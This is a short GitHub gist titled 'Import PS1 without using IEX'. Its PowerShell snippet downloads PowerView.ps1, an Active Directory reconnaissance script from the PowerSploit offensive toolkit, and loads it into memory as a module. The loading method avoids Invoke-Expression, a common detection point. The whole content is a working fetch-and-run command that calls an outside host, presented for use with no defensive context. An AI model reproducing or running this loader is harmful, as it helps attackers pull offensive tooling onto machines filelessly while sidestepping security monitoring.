Skip to content

Instantly share code, notes, and snippets.

@natesubra
Created January 19, 2024 20:22
Show Gist options
  • Save natesubra/071b2df7905714a48952b920d69bfe99 to your computer and use it in GitHub Desktop.
Save natesubra/071b2df7905714a48952b920d69bfe99 to your computer and use it in GitHub Desktop.
Import PS1 without using IEX
$URL = "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1"
$content = Invoke-RestMethod $URL
$scriptblock = [scriptblock]::Create("$content")
New-Module -ScriptBlock $scriptblock | Import-Module
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment